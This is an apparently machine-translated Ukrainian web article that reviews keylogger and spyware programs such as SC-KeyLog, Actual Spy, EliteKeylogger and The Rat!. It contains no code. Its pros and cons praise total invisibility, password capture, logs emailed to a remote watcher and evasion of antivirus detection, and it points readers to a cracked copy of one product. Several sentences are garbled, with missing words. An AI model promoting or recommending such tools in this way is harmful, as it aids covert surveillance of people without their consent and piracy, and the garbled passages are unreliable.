Golden Keylogger 1.32БезкоштовноЗ клавіатуриДуже вузькийПростий

Грунтуючись на характеристиках цієї таблиці легко вибрати максимально підходящу під конкретні вимоги програму.

Докладніше про ці утиліти ж розказано нижче.

SC-KeyLog

Це об'ємна та функціональна програма шпигуна, яка поширюється безкоштовно.

Крім відстеження безпосередньо інформації, що вводиться з клавіатури, може також збирати, адресах відвіданих сайтів, паролях, відкритих вікнах в браузері.

Дає повну інформацію про всі дії, що виконуються на комп'ютері. При цьому формований файл можна переглянути віддалено з іншого пристрою.

  • Можливість віддаленого доступу до файлу з іншого пристрою;
  • Відсутність слідів діяльності програми на комп'ютері за правильних налаштувань;
  • Різноманітність даних, що збираються – практично інформація про всі дії на ПК може бути доступна.
  • Зберігає паролі тільки вище NT0;
  • Занадто просте меню та неестетичний дизайн;
  • Досить незручний формат відображення результату.

А що ж кажуть користувачі, які активно використовують цей софт? "Абсолютна непомітна для користувача", "Дані справно приходять на пошту".

WideStep Handy Keylogger

Ця програма поширюється умовно безкоштовно. Ціна повної платної версії складає 35 доларів.

Досить цікава та функціональна програма, яка коштує своїх грошей, якщо ви готові їх заплатити.

Відмінна риса– здатність відправляти записані дані з зазначеною періодичністю. В іншому працює нормально, часто, стабільніше за інші програми з цього списку.

  • Збір інформації різних типів;
  • Повна невидимість роботи з комп'ютера користувача;
  • Простий інтерфейс та керування.
  • Дизайн кращий, ніж у попередній програмі, але все одно не на висоті;
  • Формат відображення результату незручний;
  • Платна версія коштує досить дорого.

Погляди користувачів про цей софт такі: «Зручна, проста і функціональна програма. Досить непомітна під час роботи».

Actual Spy

Це функціональна та складна платна програма вартістю 600 рублів. Однак вона має демонстраційну версію, яка розповсюджується безкоштовно.

Особливість цього софту- Здатність в заданий період часу.

Це допомагає вирішити проблему введення графічного пароля/ключа, які останнім часом стали широко поширюватися.

  • Безліч типів інформації, що збирається, плюс можливість робити скріншоти з екрана в зазначений період;
  • Велика кількість інших додаткових функцій та особливостей;
  • Записує як дії, а й час виконання;
  • Шифрує сформований журнал.
  • Тривалість роботи (збирання інформації) у безкоштовній демонстраційній версії становить 40 хвилин;
  • Платне поширення, хоча більш-менш прийнятна ціна;
  • Досить велика вага програми.

Відгуки користувачів про цю програму такі: «Програма відмінна. Молодці програмісти!».

EliteKeylogger

Платна програма з досить високою ціною- 69 доларів. Діє на ПК повністю непомітно в режимі низького рівня, тому майже не піддається виявленню.

Цікава та зручна особливість- Автоматичний запуск софту, що відбувається одночасно із запуском самої системи.

Складно виявляється або не виявляється навіть спеціальними антикейлогерами.

  • Повністю прихована дія та складність у виявленні;
  • Формат роботи типу низькорівневого драйвера та автоматичний запуск під час завантаження системи;
  • Відстежує також і натискання не лише основних, а й службових кнопок на клавіатурі.
  • Досить складна система встановлення програми на ПК;
  • Висока вартість програми, але у російському інтернеті можна знайти стару зламану версію;
  • Досить складна система індивідуальних налаштувань програми, яка, втім, виправдовує себе.

Що ж кажуть користувачі про цей софт? "Хороша програма", "Трохи не дотягує до Jetlogger".

The Rat!

Досить поширена та популярна, функціональна утиліта з платною ліцензією.

Однак для приватного використання надається безкоштовна демонстраційна версія з обмеженим періодом дії.

Програма дуже проста– написати таку саму може будь-який просунутий користувач. Тим не менш, вона повністю невловима для антивірусів та спеціальних програм, що виявляють подібний софт.

  • Простота, функціональність та висока стабільність роботи;
  • Мінімальна вага файлу та місце, яке він займає на комп'ютері;
  • Досить багато налаштувань.
  • Досить неприємний дизайн, виконаний у чорному, білому та червоному кольорах;
  • Функціонал дещо вже, ніж у програмах, описаних раніше;
  • Незручний перегляд журналу та взагалі незручний інтерфейс та використання.

Користувачі говорять про цю програму таке: «Працює стабільно, але простакуватий», «Програма хороша, дозволяє збирати дані непомітно».

SPYGO

Це новий кейлогер, призначений до роботи і розроблений російським програмістом.

© 2022 androidas.ru - Все про Android